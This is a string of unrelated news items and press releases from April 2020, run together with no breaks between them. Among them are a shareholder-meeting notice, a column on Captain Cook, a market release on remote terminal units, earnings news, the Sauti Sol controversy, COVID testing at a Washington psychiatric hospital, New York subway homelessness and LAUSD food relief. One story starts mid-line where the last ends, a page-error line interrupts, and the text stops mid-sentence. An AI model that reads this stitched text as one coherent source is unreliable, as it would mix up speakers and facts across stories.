Schools across the world have been forced to close their doors. Many find themselves struggling to transition from face-to-face teaching to a distance learning environment. Then there are those educators around the world who are innovating and managing to continue learning seamlessly. Six top global educators join C.M. Rubin, Founder of CMRubinWorld, to share their distance learning models. From the United States, Deganit Ronen, the Principal of Westchester Torah Academy (WTA), explains that the Coronavirus breakout in her school community required an overnight curriculum rework. Vicki Davis, the Director of Instructional Technology at the Sherwood Christian Academy in Albany, Georgia, shares 10 tips for educations overcomers to move online. Educator Elisa Guerra from Aguascalientes, Mexico and Educator Maarit Rossi from Finland respectively share new ways to approach online learning in every community. Jennifer D. Klein, Head of School at Gimnasio, Los Caobos in Colombia, offers important tips for helping students build community and creativity during this period of isolation. Based in the UK, Chris Williams, the Co-Founder and CEO of Chatta, explains how Chatta Club (which is free) is supporting parents stuck at home with very young children. Read the article and see the videos here The Top Global Teachers is a platform created by CMRubinWorld to enable teachers to share their best work with other teachers around the world. CMRubinWorld utilizes the platform to propagate the voices of the most indispensable people of our learning institutions, teachers. CMRubinWorlds award-winning series, The Global Search for Education, brings together distinguished thought leaders in education and innovation from around the world to explore the key learning issues faced by most nations. The series has become a highly visible platform for global discourse on 21st century learning, offering a diverse range of innovative ideas which are presented by the series founder, C. M. Rubin, together with the worlds leading thinkers. For more information on CMRubinWorld Follow @CMRubinWorld on Twitter Contact Information: David Wine David(at)cmrubinworld(dot)com CALGARY, Alberta, April 27, 2020 (GLOBE NEWSWIRE) -- Total Energy Services Inc. (Total Energy) (TOT.TO) announces that its upcoming Annual Meeting of Shareholders (the "Meeting") scheduled for Wednesday, May 13, 2020 at 10:00 a.m. (Mountain Time) will now be held at Total Energys head office located at Suite 800, 311 6th Ave SW and broadcast via live audio-only webcast. The date and time of the Meeting are unchanged. Due to public health measures implemented to combat the spread of the novel coronavirus COVID-19, including restrictions on mass gatherings implemented by the Government of Alberta, shareholders are strongly encouraged not to attend the Meeting in person. Total Energy encourages all shareholders to vote their shares in advance of the Meeting by mail, telephone or internet in the manner set out in the Meeting materials that have been sent to shareholders, copies of which are available on Total Energys website at www.totalenergy.ca and under Total Energys profile on SEDAR at www.sedar.com. Voting instructions and proxies must be received within the timeframes indicated on such forms to ensure they are counted at the Meeting. Registered shareholders or duly appointed proxy holders still wishing to attend in person will be required to sign a confirmation letter at the Meeting that they have not travelled outside of Canada for a period of two weeks preceding the Meeting date and have no symptoms of illness. No guests will be permitted to attend the Meeting in person and the number of individuals in attendance at the Meeting may be limited to ensure compliance with any government-mandate restrictions on gatherings applicable to the Meeting. Additional attendance restrictions may be added based on the changing nature of the public health advisories related to COVID-19 or otherwise as Total Energy may deem necessary in order to mitigate health and safety risks to our community, shareholders, employees and other stakeholders. In the event of any additional changes to the Meeting or restrictions on attendance, Total Energy will update its stakeholders by way of news release, which will also be made available on Total Energys website and under Total Energys profile on SEDAR. Story continues The formal part of the Meeting will be broadcast live via audio-only webcast and can be accessed through Total Energy website at https://www.totalenergy.ca/webcasts. A recording of the webcast will remain available on Total Energys website following the Meeting. Total Energy will not be providing a corporate update at the Meeting, but encourages shareholders to view our latest Investor Presentation available on Total Energys website. Headquartered in Calgary, Alberta, Total Energy provides contract drilling services, rentals and transportation services, well servicing and compression and process equipment and service to oil and natural gas producers operating in North America, Australia and other international markets. The common shares of Total Energy are listed and trade on the TSX under the symbol TOT. For further information, please contact Cam Danyluk, Vice-President Legal and General Counsel at (403) 698-8445 or by e-mail at: cdanyluk@totalenergy.ca or visit our website at www.totalenergy.ca . The TSX has neither approved nor disapproved of the information contained herein. They called to us, Banks will recount, very loud in a harsh-sounding language of which [we could not understand] a word, shaking their [spears] and menacing, in all appearance resolved to dispute our landing to the utmost though they were but two and we 30 or 40 at least. Loading Warra warra wai! the warriors yell at them. WARRA WARRA WAI! If the exact translation is not apparent, at least the sentiment is: Leave! Leave our land! Leave us! After 25 minutes of failing to move them without violence, Cook, employing the cruelly barbaric method of the time, personally takes up a musket and fires lead shot at the warrior on the left. In response, the warriors throw spears but in the end must fall back, whereupon the armed Englishmen land and, well ... here we all are, 250 years later, still not sure as a people what to make of it all. For a very few, such an anniversary is one to celebrate wildly. For others, it marks a day of shame for the invaders and misery for the invaded. For me, as one who did a biography on Cook last year, it is most of all a day to commemorate, to reflect, to take pause to at the very least try to understand what this day meant in the life of the land beneath the Southern Cross. For the traditional owners of the land, it marked the opening of a long era of mind-boggling misery. For the English, it would lead to the arrival of Governor Phillips First Fleet 18 years later, which led to the entire continent being settled, which led to Federation which led to . . . us, yes, still going around in circles, trying to work out what kind of a people we are when the act of conception for the modern nation was so brutal, so devastating. And it really was. In all of my work in this field, the most haunting thing came in a letter one of my researchers found that was written five months after the arrival of the First Fleet by one of the mates on HMS Sirius, Daniel Southwell, to his uncle in Chelsea: On June 23 ... the Kings birthday was celebrated with great state and solemnity, and large bonfires we had plenty of wood were burning all night. The ships saluted at sunrise, noon and sunset, which must have frightened the warra warras, for so we call the blacks, from their constant cry of warra warra at everything. Can you imagine? So often did the people of the First Nations say Warra Warra! Leave! Leave our land! that is what they became known as. Such stories highlight the horror of what happened to those people of the First Nations, and while many Australians will bitterly decry those who say that today should be a day of sorrow, Ill cite one dead Englishman who wouldnt. Loading That would be Captain Cook himself. On his second expedition four years later, Cook returned to New Zealand, where he was devastated to see something of the trade going on between the previously chaste Maori women and visiting European sailors their sexual services in return for such things as a single spike nail. Such are the consequences, Cook wrote with bitter regret, of a commerce with Europeans and what is still more to our shame, civilised Christians. We debauch their morals ... and we introduce among them wants and perhaps diseases which they never before knew and which serves only to disturb that happy tranquillity they and their forefathers have enjoyed. If anyone denies the truth of this assertion let him tell me what the natives of the whole extent of America have gained by the commerce they have had with Europeans. These were hardly the words of an enthusiastic imperialist. We will see today furious assertions that Cook never discovered Australia, as was claimed for decades. Let the record show who said that first. That would be Captain Cook. [I] therefore may land no more upon this eastern coast of New Holland, he wrote upon turning west from the tip of Cape York, and on the western side I can make no new discovery, the honour of which belongs to the Dutch navigators. Still others will assert the act of Cooks landing was an invasion. The person who said that first? That would be Captain Cook, referring to all his party's landings in the Pacific. We enter their ports without their daring to make opposition, he wrote. We attempt to land in a peaceable manner, if this succeeds it's well, if not we land nevertheless and maintain the footing we thus got by the superiority of our fire arms, in what other light can they then at first look upon us but as invaders of their country; time and some acquaintance with us can only convince them of their mistake. The shock-jocks will tell you the First Nations people were living primitively, and today is the glorious anniversary of Cook coming to save them and bring them civilisation. But who is this caller on the line right now? Why, it is Captain Cook, and I would ask him to repeat the line he wrote at the time of the people he found. The global intelligent remote terminal unit market is expected to grow by USD 1.59 billion, as per Technavio. This marks a significant market slowdown compared to the 2019 growth estimates due to the impact of the COVID-19 pandemic in the first half of 2020. However, steady growth is expected to continue throughout the forecast period, and the market is expected to grow at a CAGR of over 6%. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005811/en/ Technavio has announced its latest market research report titled Global Intelligent Remote Terminal Unit Market 2020-2024 (Graphic: Business Wire) Request challenges and opportunities that influence COVID-19 pandemic Request free sample pages of the intelligent remote terminal unit market Read the 120-page report with TOC on "Intelligent Remote Terminal Unit Market Analysis Report by End-user (Oil and gas, Power, Chemical, Water and wastewater, and Others), Geographic Landscape (APAC, Europe, MEA, North America, and South America), and the Segment Forecasts, 2020-2024". https://www.technavio.com/report/global-intelligent-remote-terminal-unit-market-industry-analysis The market is driven by the growing need for grid modernization via smart grids. In addition, the growing adoption of SCADA in water monitoring is anticipated to boost the growth of the intelligent remote terminal unit market. Rapid industrialization and rising global population have increased the demand for energy across the world. Besides, the rise in the adoption of electric vehicles has added to the load on transmission and distribution assets. These factors are leading to a demand-supply mismatch, which is resulting in frequent power outages. Adoption of smart grids can help to reduce power outages and address power supply disruption effectively. Hence, several smart grid projects are underway to improve the global grid infrastructure. For instance, in 2016, the Singapore Power Centre of Excellence signed an agreement worth more than USD 7 million on smart grids and data analytics projects. Such investments are increasing the demand for SCADA systems, which is positively influencing the growth of the global intelligent remote terminal unit market. Buy 1 Technavio report and get the second for 50% off. Buy 2 Technavio reports and get the third for free. View market snapshot before purchasing Major Five Intelligent Remote Terminal Unit Companies: ABB Ltd. ABB Ltd. operates its business through segments such as Electrification, Industrial Automation, Motion, Robotics Discrete Automation, and Corporate and Other. The company offers products such as RTU520, RTU 540, and RTU 560 under its RTU 500 series. Advantech Co. Ltd. Advantech Co. Ltd. operates its business through segments such as Industrial Internet of Thing Services (IIoT), Embedded Boards and Design-in Services (EIoT), Allied Design Manufacture Services (Allied DMS), Intelligent Services (SIoT), and Global Customer Services (AGS APS). The company offers RTU ADAM-3600 Series for data collection, pre-processing, and transmission forwarding. Emerson Electric Co. Emerson Electric Co. operates its business through segments such as Automation Solutions and Commercial and Residential Solutions. The company offers ControlWave Micro-Hybrid RTU and PLC. It is a highly programmable controller that combines the unique capabilities of a programmable logic controller and a remote terminal unit into a single hybrid controller. General Electric Co. General Electric Co. operates its business through segments such as Power, Renewable energy, Aviation, and Healthcare. The company offers products such as PAC8000 RTU and Multilin DGCM field RTU. Honeywell International Inc. Honeywell International Inc. operates its business through segments such as Aerospace, Honeywell Building Technologies, Performance Materials and Technologies, and Safety and Productivity Solutions. The company offers products such as ControlEdge RTU, RC500 RTU, and RTU2020. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Intelligent Remote Terminal Unit Market End-user Outlook (Revenue, USD Billion, 2020-2024) Oil and gas Power Chemical Water and wastewater Others Intelligent Remote Terminal Unit Market Geographic Landscape Outlook (Revenue, USD Billion, 2020-2024) APAC Europe MEA North America South America Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Related Reports on Industrials Include: Global Industrial Lighting Market Global industrial lighting market by application (traditional technology and LED technology) and geographic landscape (APAC, Europe, MEA, North America, and South America). About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005811/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Error. Page cannot be displayed. Please contact your service provider for more details. (26) Take a look at some of the biggest movers in the premarket: 3M (MMM) 3M reported quarterly earnings of $2.16 per share, beating the consensus estimate of $2.03 a share. The health-care and safety products maker's revenue also beat forecasts, but the company withdrew its full-year outlook due to virus-related uncertainties. Caterpillar (CAT) The heavy equipment maker missed forecasts by 9 cents a share, with quarterly earnings of $1.60 per share. Revenue fell short of estimates as well amid a slowdown in demand. As many other companies have done, Caterpillar is not providing any full-year 2020 guidance due to uncertainties surrounding the pandemic. Merck (MRK) Merck came in 16 cents a share ahead of estimates, with quarterly profit of $1.50 per share. The drugmaker's revenue also topped Wall Street forecasts. Merck's results were helped by strong sales of its Keytruda cancer drug, but it cut its 2020 forecast due to coronavirus-related uncertainties. Pfizer (PFE) The drugmaker earned 80 cents per share for the first quarter, 7 cents a share better than consensus. Revenue also beat forecasts and Pfizer reaffirmed its full-year financial outlook. A drop in sales of off-patent pain drug Lyrica contributed to a more than 12% drop in profit compared to a year ago. PepsiCo (PEP) The beverage and snack giant came in 4 cents a share ahead of estimates, with quarterly earnings of $1.07 per share. Revenue came in above estimates as well. PepsiCo is joining those withdrawing its outlook due to pandemic-related uncertainties. The company said it still expects to buy back $2 billion in shares this year and pay $5.5 billion in dividends. Harley-Davidson (HOG) The motorcycle maker earned 45 cents per share for its latest quarter, 4 cents a share above estimates. Revenue was slightly above forecasts. However, profit was down 45% from a year ago as global lockdowns hit sales. Harley also suspended share repurchases, and cut its quarterly dividend to 2 cents a share from 38 cents a share. DR Horton (DHI) The home builder beat consensus forecasts by 18 cents a share, with quarterly profit of $1.30 per share. Revenue was also above estimates. The company said sales and profits are slowing, however, and cancellations are increasing due to the coronavirus pandemic. Boeing (BA) Boeing will resume production of its 787 Dreamliner aircraft at its South Carolina factory on May 4. It had suspended production on April 8 because of the Covid-19 pandemic, and plans to institute a series of safeguards at the factory before workers return. BP (BP) BP's latest earnings beat estimates, but profit fell by two thirds and debt levels rose to the highest level in five years. The energy producer kept its dividend intact, however, even as it warned of extreme uncertainty in the energy markets and its future results. HSBC (HSBC) HSBC reported lower-than-expected quarterly profit, as the bank earmarked $3 billion for possible bad loans amid the coronavirus outbreak. UBS (UBS) UBS saw profits rise by 40% for its latest quarter, as the world's largest wealth manager saw increased portfolio activity by its high-end clients. Novartis (NVS) Novartis reported first-quarter profits and sales that came in above analysts' estimates, with the drugmaker benefiting from customers stocking up on their prescriptions as the coronavirus outbreak took hold. Verizon (VZ), AT&T (T), Comcast (CMCSA), T-Mobile (TMUS) These companies are among wireless service providers who have agreed to extend customer concessions through June 30, and will not cancel service or charge late fees to customers impacted by the pandemic. Comcast is the parent company of NBCUniversal and CNBC. JetBlue (JBLU) JetBlue became the first U.S. airline to mandate face coverings for passengers, with the rule taking effect May 4. Airlines have already asked flight attendants to wear masks, and worker unions have been pushing for a similar rule for passengers. Keurig Dr Pepper (KDP) The company reported quarterly earnings of 29 cents per share, 2 cents a share above estimates. The beverage maker's revenue also beat forecasts and the company reaffirmed a full-year forecast that is above current consensus, with stay-at-home consumers stocking up on the company's offerings like Dr Pepper and 7UP. F5 Networks (FFIV) F5 earned $2.23 per share for its fiscal second quarter, compared to a consensus estimate of $1.95 a share. The computer networking company's revenue also beat forecasts, as it benefits from an increasing number of companies asking employees to work from home. F5 also gave an above-consensus current-quarter forecast for earnings and sales. Tesla (TSLA) The automaker canceled plans to bring employees back to work at its Fremont, California plant, following a weekend request to some furloughed workers to return. Following the recent public backlash of music group Ethic over the alleged promotion of pedophilia in their song Soko, the spotlight has now been turned on top boy band Sauti Sol. The Live and Die in Afrika hitmakers stand accused of promoting incest in their mega-hit, Suzanna. According to a local tabloid, Senje alias Suzanna is Luhya for aunt, and therefore, Sauti Sol glorifies an incestuous relationship between a nephew and an aunt. How then can it be that a nephew and his aunt have a relationship? To fall in love with your fathers sister is unheard of, incestuous, an abomination, and illegal, the tabloid notes. The complaint caught the attention of Kenyas morality cop, KFCB boss Ezekiel Mutua, who submitted the song to the boards broadcast Monitoring team for analysis. Taking to social media on Monday, Mr Mutua said Suzanna was given a clean bill of health. This complaint was brought to our attention this morning. Its in regard to a song by Sautisol. I submitted it to our Broadcast Monitoring team for analysis and it has been given a clean bill of health and rated as GE (General Exhibition), i.e suitable for all family viewing, tweeted Mutua. Workers who had been exposed to the coronavirus at Washington state's largest psychiatric hospital were herded into a small building to be tested. Inside, few wore masks. They were given test kits by people without gloves and told to swirl a swab inside their noses. The method was designed only for people showing symptoms, but the staffers said none of them did. Many told The Associated Press that the flawed testing process this month likely produced inaccurate results and exposed them to the virus again. I absolutely feel it was a misuse of the testing materials, said Dr. Lauren Smith, a forensic psychologist at the hospital. In addition to that, the manner in which they did it put us all at risk. Employees say it's another example of the state's failure to protect staff and patients at Western State Hospital. The 850-bed facility south of Seattle has been the target of multiple state and federal investigations, including one launched when a man accused of torturing a woman to death escaped. There's a pattern of violent attacks by patients and a failure to meet health and safety requirements. The violations led the facility to lose its accreditation and federal funding, and staffers say mismanagement during the pandemic could cost lives. They fear a repeat of the Seattle-area nursing home that became the first U.S. cluster of COVID-19 deaths, with 43. I'm afraid this could become another tragedy similar to what happened at Life Care Center of Kirkland, said Justin Lee, a spokesman for the hospital employee union. A 400-member nurses union is calling for top administrators at the Department of Social and Health Services, which oversees the hospital, to be removed over their handling of the outbreak. Department Secretary Cheryl Strange said she's disappointed and has been working to address the union's concerns. There is always much work to do in a hospital this large, and we will continue our efforts to restore the faith of the membership," she said. At least 29 workers at the psychiatric hospital have tested positive for the virus, while six patients have confirmed cases and one has died. Psychiatric hospitals in other states also have struggled with COVID-19, including a facility in Michigan where more than 100 patients and workers tested positive. At the Washington hospital, most patients are severely mentally ill. They're either a danger to themselves or others or have committed a crime and are being treated to restore their mental competency to face charges. Some are old and many have compromised immune systems because of their medications, putting them at greater risk if they catch the virus. But they aren't inclined to wear masks or take other precautions. If you give patients Purell, they'll drink it, said Ben LaLiberte, a forensic evaluator. Masks could be used to choke so are distributed carefully and usually ignored. Unlike nursing homes, which are particularly susceptible to COVID-19, psychiatric wards can be chaotic and sometimes violent, requiring staff to make physical contact with patients. The 6-foot rule isn't possible, LaLiberte said. I easily come into close contact with 20 people every day. On April 6, staffers who had worked on the ward housing criminal offenders were told two infected employees had exposed them to the coronavirus and they needed tests. What they thought would be drive-thru testing that isolates people in their cars instead was held inside a small building, a half-dozen workers told the AP. They jammed into a crowded hallway, and only a few had masks. They were called two at a time to a small office and given tests by two hospital staff members. Neither wore gloves and one took his mask off and on. Smith, the forensic psychologist, said the person testing her was coughing and not wearing protective gear. She expected a typical test where a medical worker collects a sample from deep in the nasal canal and was concerned when she was told to swab just inside her nose. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Andrew Cuomo on Tuesday slammed the 'disgusting and disrespectful' homeless situation on New York City subways and pledged to 'do better'. The New York governor fumed about the issue during his daily briefing before an MTA official demanded Mayor Bill de Blasio 'get out of his car and into the subways so he can see what is really going on'. Homeless people have begun congregating and living in the subway cars, which Cuomo said was putting both them and mass transit workers at grave risk. 'Respect the essential workers. That is disgusting what is happening on those subway cars. It's disrespectful to the essential workers who need to ride the subway system', Cuomo said. Pledging to do better Cuomo added: 'They deserve better and they will have better. We have to have a system that is clean and where the trains are disinfected. Homeless people on trains... it's not even safe for them. 'You have this whole outbreak and we let them stay on trains without protection in this epidemic? 'No. We have to do better than that and we will. We will learn from this and be better from this.' New York State Governor Andrew Cuomo holds a copy of the New York Daily News as he speaks about the 'disgusting and disrespectful' homeless situation on New York City subways A man sleeps on a New York subway train as the outbreak of the coronavirus continues in New York, on April 13. An MTA official demanded Mayor Bill de Blasio 'get out of his car and into the subways so he can see what is really going on' Homeless people have begun congregating and living in the subway cars, which Cuomo said was putting both them and mass transit workers at grave risk Cuomo said public transport had continued amid the pandemic because that is 'how the nurses are getting to work'. He said: 'Nobody will be at the hospital. Nobody will be there to deliver the food. Nobody will be in the power plant to keep the lights on. Nobody will be at the telecommunications department. Public transportation is vital for them. 'Well, then make sure public transportation is safe and disinfected.' MTA Chief Communications Officer Abbey Collins said the homeless situation was a 'problem of Mayor Bill de Blasio's own making'. She said: 'Right now, the City should step up and ensure NYPD and social service presence at every end-of-line station by the end of the week and commit to this effort long term. We have had to resort to hiring private security guards to serve as the eyes and ears of our system instead. 'The Mayor should get out of his car and into the subways so he can see what is really going on and solve the problem of his own making.' The MTA is effectively controlled by Cuomo but he did not offer any measures on how he will improve the situation on Tuesday. De Blasio has said 200 more shelter beds will be made available for homeless people and discussed closing certain stations 'between midnight and 5 a.m' and 'deeply clean those stations'. He said: 'Everyone has to get out of the stations, instead of whats happened for years and years - that a homeless person just sits on the train, or maybe gets off the train temporarily, gets right back on it, goes then the whole way back.' Mayor Bill de Blasio has said 200 more shelter beds will be made available for homeless people and discussed closing certain stations 'between midnight and 5 a.m' to 'deeply clean' Pictures show many homeless people are spending their nights on the ghost trains and platforms of the New York subway system, finding shelter in a place abandoned by almost everyone else in a shut-down city. As of Friday 84 MTA workers have died of coronavirus with more than 3,000 confirmed cases. The transport authority's chairman Patrick J. Foye last week once again blamed the Centers for Disease Control and Prevention, telling reporters he 'regrets' that the federal agency did not tell people to wear masks sooner. Foye said: 'I regret that the CDC and the World Health Organization gave the advice that they did. I do regret that they gave that advice to the entire country. I think that everybody in the country regrets the failings of the CDC.' The MTA followed initial CDC guidance which said its 71,000 workers did not have to wear face coverings. At the beginning of March workers were banned from wearing their own masks, Politico reports. As the death toll among MTA workers continued to rise, masks were eventually given to staff on March 27. The CDC said people should wear a mask on April 8. Pictures show many homeless people are spending their nights on the ghost trains and platforms of the New York subway system, finding shelter in a place abandoned by almost everyone else in a shut-down city As of Friday 84 MTA workers have died of coronavirus with more than 3,000 confirmed cases Cuomo said public transport had continued amid the pandemic because that is 'how the nurses are getting to work' Cuomo also revealed his 12-step plan to reopening state on Tuesday. It includes keeping hospital capacity beneath 70 percent and seeing solid two-week declines in coronavirus cases in the areas he will restart. But the governor warned it would take a 'miracle' for New York City to reach the requirements in the next few weeks. Cuomo's lockdown officially ends on May 15 but he said on Monday he would extend it for some regions of the state where the data suggests there is still a problem. In the United States more than 58,000 people have died from COVID-19, the most of any country. New York accounts for nearly half of those deaths. The three-day rolling average of the number of people newly hospitalized for COVID-19 fell to 953 in New York on Monday, Cuomo said, adding that intubations and total hospitalizations also fell. It was the first time new hospitalizations dropped below the 1,000 level since March 24. An additional 335 New Yorkers died on Monday, about 100 fewer than the level three days ago. The MTA is effectively controlled by Cuomo but he did not offer any measures on how he will improve the situation on Tuesday MTA Chief Communications Officer Abbey Collins said the homeless situation was a 'problem of Mayor Bill de Blasio's own making' Andrew Cuomo on Tuesday slammed the 'disgusting and disrespectful' homeless situation on New York City subways and pledged to 'do better' Cuomo said New York would also follow guidance from the Centers for Disease Control and Prevention requiring 14 days of declining hospitalizations before reopening, although he did not specify which regions of the state have cleared that threshold. As a whole, hospitalizations in New York have fallen for 15 straight days, including a 173 decline on Monday. Cuomo said there were regions that were in similar situations to states that have already relaxed restrictions. 'Some of the places upstate have a problem that is comparable to states in the Midwest or the West,' he said. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe Our news is free on LAist. To make sure you get our coverage: Sign up for our daily coronavirus newsletter. To support our non-profit public service journalism: Donate Now. By Carla Javier and Chava Sanchez In the weeks since the Los Angeles Unified School District closed its campuses to slow the spread of COVID-19, the nation's second-largest school district has become a large-scale provider of food relief. Since March 18, volunteers and staff have distributed over 13 million free meals to children and adults. The district says it was well-positioned to provide food relief at such a large scale because even before the pandemic, its schools already provided food to thousands of kids. Almost 80% of LAUSD students qualify for free and reduced-priced meals, which are reimbursed through school nutrition programs run by the federal government and state. icon DON'T MISS ANY L.A. CORONAVIRUS NEWS Get our daily newsletters for the latest on COVID-19 and other top local headlines. Terms of Use and Privacy Policy Food services director Manish Singh estimated that the district serves students almost 700,000 meals a day -- 330,000 breakfasts, 280,000 lunches, and up to 80,000 dinners. But the more than 500,000 free meals the district is giving out every day now that schools are closed due to coronavirus work a bit differently. For one thing, they're not consumed at school, but instead provided in grab-and-go bags to allow for appropriate social distancing. Another key difference: anyone, not just kids, can receive these meals -- making reimbursement complicated. In an April 20 update, LAUSD Superintendent Austin Beutner explained that providing this safety net is estimated to cost $136 million. It has identified funding for $58 million of the cost of providing meals to children, but has yet to figure out exactly how it will cover the remaining $78 million, including $40 million spent on meals for adults. LAUSD Superintendent Austin Beutner revealed the unexpected costs of COVID-19 closures in an April 20 video update. (LAUSD Screenshot) As of April 27, the district has raised more than $7 million from the community. Beutner explained in a different recorded address that LAUSD is applying for funds from FEMA and is asking the U.S. Department of Agriculture -- which runs school nutrition programs -- to waive "the additional costs of child meals," which the district previously estimated to cost $38 million. The district is also pressuring the state, county, and city for help from their coronavirus relief funds. "The appropriate portion of those funds should be going to their intended use, to provide food to children and adults in need," Beutner said in the video. Singh, from the food services division, said the district has committed to offer the meals for the rest of the school year, which is scheduled to end June 12. In his April 27 update, Superintendent Austin Beutner explained how the district is pursuing funding for food relief efforts. (LAUSD Screenshot) While the funding gets sorted out, 2,900 staff across the 63 grab-and-go centers -- and even more from operations and the district's warehouse -- are still preparing meals and handing out food. Acquiring, transporting, packaging, and distributing the meals is a long, complicated process. To explain how it works -- and what challenges the district is facing -- let's follow the journey of a meal, from the district's Pico Rivera warehouse, to the distribution spots. 5:30 a.m. | Day before meal distribution PREPARING THE ORDERS The process begins at the district's Pico Rivera warehouse, which principal stock clerk Willie Harris describes as "about twice the size, or maybe three times the size, of a regular Costco." The aisles are lined with thousands of cases of frozen food, non-perishable grocery staples, and supplies. Hours before the drivers show up, food is pulled from the shelves and parceled up for distribution to the 63 grab-and-go meal sites. (Chava Sanchez/LAist) Harris looks through the invoices for the frozen food department, and directs his team of six to pull thousands of cases in a shift. For perspective, in the frozen food department, a case can vary in size from 72 sausage biscuits to more than 200 items. "What we do for the children, you have to understand, this comes from the heart," said Harris, who has worked with the district for 25 years. "A lot of us don't have to be here. We could be at home and using excuses of why we don't have to be at work, but people in the district are not made like that, the ones that really, truly care." When his team -- and their counterparts in other departments -- are done, another shift comes in to load the items into the trucks for delivery. Principal Stock Clerk Willie Harris loads a cold storage truck headed to Dorsey High School in South L.A. (Chava Sanchez/LAist) 4 a.m. | Day of meal distribution TRANSPORTING THE FOOD Truck drivers like Danny Medina arrive at the warehouse early in the morning. Danny Medina arrives at Dorsey High School in South L.A. around 5:30 a.m. and begins to unload his truck. (Chava Sanchez/LAist) First, they complete a safety check. Afterwards, Medina inspects his vehicle, loads any equipment he may need, and looks over the inventory to make sure the right items are going to the right place. Normally, the drivers would use different trucks depending on the day, but Medina said, to reduce the risk of exposure to the virus, the drivers are using the same truck each day. 5 a.m. DRIVERS DEPART Trucks leave Pico Rivera and head to the 63 grab-and-go centers across the district. @LASchools trucks filled with food leave the Procurement Services Warehouse filled with food for one of the many distribution centers across the district. @LAist pic.twitter.com/W68okgXo7X Jose Salvador (@chavatweets1) April 22, 2020 5:20 a.m. UNLOADING THE FOOD Medina arrives at the school site -- normally Santee, though the day we visited, he was at Dorsey -- and unloads the contents of the truck. "I sometimes unload 11 pallets and it takes me two-and-a half, three hours to do it," Medina explains. "And it is hard work. It is back-breaking work." Danny Medina works alone and must maneuver full pallets through tight spaces.(Chava Sanchez/LAist) Medina said he appreciates the safety measures undertaken -- daily checks, masks, gloves, reduced sharing of vehicles -- and emphasizes that he does feel safe, and is happy to do this work. "It is a privilege and honor to be a part of it, to be able to help get food to the people who need it," said Medina, who has been with the district for 13 years. 6:30 a.m. PACKAGING THE MEALS The center of operations at Virgil Middle School, another one of the 63 grab-and-go centers, is the student lounge. Normally, it's where students eat lunch, but now it's where the grab-and-go meals are packaged. Cafeteria manager Rocio Villanueva works with a staff of 13 food services workers, staff from different schools and departments, and volunteers. Singh from LAUSD's food services said the district offered an additional $100 a day to district staff who offered to work at these distribution spots. The American Red Cross Los Angeles Region has also recruited hundreds of volunteers for the grab-and-go sites. Cafeteria manager Rocio Villanueva (center) poses for a picture with the other grab-and-go workers at Virgil Middle School. (Courtesy Rocio Villanueva) There are signs around the lounge and kitchen reminding everyone to wash their hands and little pink tape x's and lines on the ground help them keep appropriate social distance as they bag up to 4,500 meals in a day. @LASchools cafeteria workers prepare meals for grab and go distribution in the early morning at Dorsey High School. pic.twitter.com/OQTSeEtO7u Jose Salvador (@chavatweets1) April 22, 2020 8 a.m. DISTRIBUTION BEGINS The LAUSD grab-and-go centers officially open at 8 a.m. Villanueva says usually at her school site, Virgil Middle School, there's already a line of 20 cars well-before opening time. There are five stations, and visitors can either drive or walk up. Gates opened at 8am at Dorsey High School for @LASchools grab and go food distribution. pic.twitter.com/0KIEnY7FUS Jose Salvador (@chavatweets1) April 22, 2020 The question has come up -- in town halls hosted by LAUSD board members, on social media, and in comments from KPCC listeners and LAist readers -- about what, if any documentation is requested at the grab-and-go centers. The answer: none. "You just have to let us know how many kids and how many adults are going to be receiving the meals," Villanueva explained. The district needs to keep a running count for reimbursement purposes. Another concern: the presence of L.A. School Police. Food services director Manish Singh said any police on site are only there to direct traffic. "We are not questioning them. We don't ask for ID," Singh explained. "We just ask how many meals you're looking for, and we provide those meals." 11 a.m. MEAL DISTRIBUTION ENDS Virgil Middle cafeteria manager Villanueva explained that leftover food isn't wasted or thrown out, but instead prepared for the following day. Staff clean up and sanitize the pod, and leave at 11:30 a.m. "The other day, [the employees] didn't want to leave," Villanueva said. "And I felt really emotional. Humbled that they wanted to continue working." Villanueva notes how many meals were distributed and assesses what she has left. She sends her orders to the district, where the process begins again with an invoice at the warehouse in Pico Rivera. This day's menu includes nachos, carrots, and L.A. Unified's famous coffee cake. (Chava Sanchez/LAist) READ MORE: As a teenager, Daniel Ednie-Lockett thought his great uncle Alan was just another uncle who came to Christmas. It was only when Alan Rea was in palliative care dying of cancer that 16-year-old Daniel began recording his life story. The Rea family, pictured in 1933. (L-R): Herbert, Herbert senior, Robert, Shirley, Alan, Alma and Beverley. The family recognised he didnt have much time left. Most of my mum and fathers generation knew the stories, but none of the younger ones knew, says Daniel, now 32. During the Depression, Daniel's uncle Alan made money scooping horse dung from the street and sold it as fertiliser, before joining WWII as a flight instructor. The 26-year-old man has been shot dead in Lebanon amid the clashes occurred between the protesters and law enforcement officers, AFP reported. His funeral has been held at the main square for protesters with a lot of people participating even amid the COVID-19 quarantine. Army representatives expressed their condolences and noted that the investigation has been launched in this regard. According to its statement, the army respects freedom of expression if it does not provide for the destruction of private and state property. As reported earlier by the army, 40 soldiers have been injured during the clashes and accused the demonstrators of setting fire to three banks, destroying several ATMs, and attacking a military vehicle. Share this article Whatsapp Facebook Twitter Linkedin Arya Dipa, Bambang Muryanto and Jon Afrizal (The Jakarta Post) Bandung/Yogyakarta/Jambi Tue, April 28, 2020 08:16 625 fc6853813033f564188675f8bd492aa9 1 National farmers,farmers-association,barter-trading,food-resilience,food-supply,COVID-19 Free A pickup truck full of vegetables sweet cassava leaves, water spinach, eggplants, long beans, chilis and pumpkins stopped at a public kitchen run by Sleman residents in Yogyakarta. The cooks will send 